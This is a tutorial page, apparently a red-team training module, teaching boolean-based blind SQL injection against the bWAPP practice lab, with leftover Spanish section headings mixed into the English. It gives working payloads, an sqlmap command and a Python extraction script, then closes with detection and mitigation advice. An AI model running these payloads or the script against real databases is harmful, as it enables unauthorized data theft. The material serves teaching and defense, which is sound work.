📕 FIELD MANUAL 3.1: BLIND SQL INJECTION (BOOLEAN-BASED)
Objective: Bit-by-bit data exfiltration by inferring True/False responses.
Classification: RED TEAM EYES ONLY
Objective: Bit-by-bit data exfiltration via True/False response inference.
bWAPP Targets: SQL Injection - Blind - Boolean-Based.
MITRE ATT&CK: T1190.
1. INTEL & RECON: THE GAME OF 20 QUESTIONS
Sección titulada «1. INTEL & RECON: EL JUEGO DE LAS 20 PREGUNTAS»The Scenario
Sección titulada «El Escenario»Let's imagine a login or search bar where the code looks like this:
$id = $_GET['id'];$sql = "SELECT * FROM movies WHERE id = '$id'";$result = mysqli_query($link, $sql);
if (mysqli_num_rows($result) > 0) { echo "La película existe."; // Respuesta TRUE} else { echo "La película no existe."; // Respuesta FALSE}- If we inject
UNION SELECT, we won't see the result, we'll only see “The movie exists”. - If we inject something that causes an error, the page might just say “The movie does not exist” (or nothing).
The Strategy (Inference)
Sección titulada «La Estrategia (Inferencia)»We cannot ask "Give me the version". But we can ask: "Is the first letter of the version the number 5?"
- If the server responds “The movie exists” -> It is a YES.
- If it responds “The movie does not exist” -> It is a NO.
We will repeat this for each letter until the information is reconstructed.
2. WEAPONIZATION: CONSTRUCTING THE QUESTION
Sección titulada «2. WEAPONIZATION: CONSTRUYENDO LA PREGUNTA»We need functions that slice text (SUBSTRING) and convert characters to ASCII numbers (ORD or ASCII) to be able to compare.
Step 1: Verifying Blindness (True/False Test)
Sección titulada «Paso 1: Verificar la Ceguera (True/False Test)»First, we will confirm that we can manipulate the logic.
- Payload TRUE:
Iron Man' AND 1=1 -- -- Result: “Iron Man exists” (or normal content) will appear.
- Payload FALSE:
Iron Man' AND 1=0 -- -- Result: “The movie does not exist” (or empty content).
Conclusion: If there is a visual difference between the TRUE and FALSE payloads, it is vulnerable to Boolean-Based.
Step 2: Guessing the length (LENGTH)
Sección titulada «Paso 2: Adivinando la longitud (LENGTH)»Before guessing the database name, we will ask how long it is.
-
Question: “Does the database name have more than 5 letters?”
-
Payload:
Iron Man' AND length(database()) > 5 -- -- If True: It is greater than 5. We will try
> 10. - If False: It is 5 or less.
- If True: It is greater than 5. We will try
Step 3: Guessing characters (SUBSTRING & ASCII)
Sección titulada «Paso 3: Adivinando caracteres (SUBSTRING & ASCII)»We are going to guess the first letter of the database name.
-
Question: “Is the first letter of the DB name the letter ‘b’ (ASCII 98)?”
-
Payload:
Iron Man' AND ascii(substring(database(),1,1)) = 98 -- -(Note:
substring(string, posición, longitud))
If it returns TRUE, the first letter is 'b'. If not, we will try 99 ('c'), 100 ('d')...
Then we will move to position 2: substring(database(),2,1).
3. AUTOMATION: SCRIPTING (PYTHON) VS SQLMAP
Sección titulada «3. AUTOMATION: SCRIPTING (PYTHON) VS SQLMAP»Doing this manually is crazy. An 8-letter name requires testing hundreds of combinations. This is where automation is mandatory.
The “Script Kiddie” Option (SQLMap)
Sección titulada «La Opción “Script Kiddie” (SQLMap)»SQLMap does this automatically with --technique=B.
sqlmap -u "http://bwapp/sqli_4.php?title=Iron&action=search" \ --cookie="PHPSESSID=..." \ --technique=B \ --level 2 \ --dbs- We will see that SQLMap starts testing characters extremely fast.
The “Red Team Pro” Option (Python Custom Exploit)
Sección titulada «La Opción “Red Team Pro” (Python Custom Exploit)»Sometimes SQLMap is very noisy or the WAF blocks it. A simple Python script gives us total control.
Logical Pseudocode (Binary Search): Instead of asking "Is it 'a'? Is it 'b'?", we will ask "Is it greater than 'm'?". This way we discard half of the alphabet at once.
import requests
charset = "abcdefghijklmnopqrstuvwxyz0123456789"target_url = "http://bwapp/sqli_4.php"cookies = {"PHPSESSID": "tu_cookie"}extracted_db = ""
for i in range(1, 10): # Longitud asumida for char in charset: payload = f"Iron Man' AND substring(database(),{i},1)='{char}' -- -" r = requests.get(target_url, params={"title": payload, "action": "search"}, cookies=cookies)
if "The movie exists" in r.text: # Nuestra señal TRUE extracted_db += char print(f"[+] Found: {extracted_db}") break4. ESCALATION: FROM PATIENCE TO SUCCESS
Sección titulada «4. ESCALADA: DE LA PACIENCIA AL ÉXITO»In Blind SQLi, "escalation" is optimization.
- Binary Search: Reduces requests from 128 (full ASCII) to just 7 per character.
- DNS Exfiltration (OOB): If Boolean is too slow, we will attempt to force a DNS request (we will see this in Phase 4) to extract the data quickly instead of bit by bit.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection (The Noise)
Sección titulada «🕵️ Detección (El Ruido)»The Boolean-Based attack is the noisiest in terms of request volume.
- Access Logs: We will see thousands of almost identical requests in seconds (
AND ascii(...)).- Example:
/search?q=...AND ascii(sub(user,1,1))>100
- Example:
- 200 OK Error Ratio: The attacker generates many valid responses (200 OK) but with slightly different content. A response entropy analysis can detect it.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Generic Error Messages: It is no longer enough to just hide the SQL error. The application must respond identically (or with a static generic 404/500 error) if the query fails logically, to avoid giving "True/False" clues.
- Rate Limiting: We will block the IP if it makes more than 100 requests to the same endpoint in 1 minute. This kills Blind extraction.
- WAF: We will block SQL functions such as
SUBSTRING,MID,ASCII,ORD.
Status: Module 3.1 Completed.
Mission: We will attempt to manually guess the first letter of the current user in bWAPP using substring(user(),1,1).

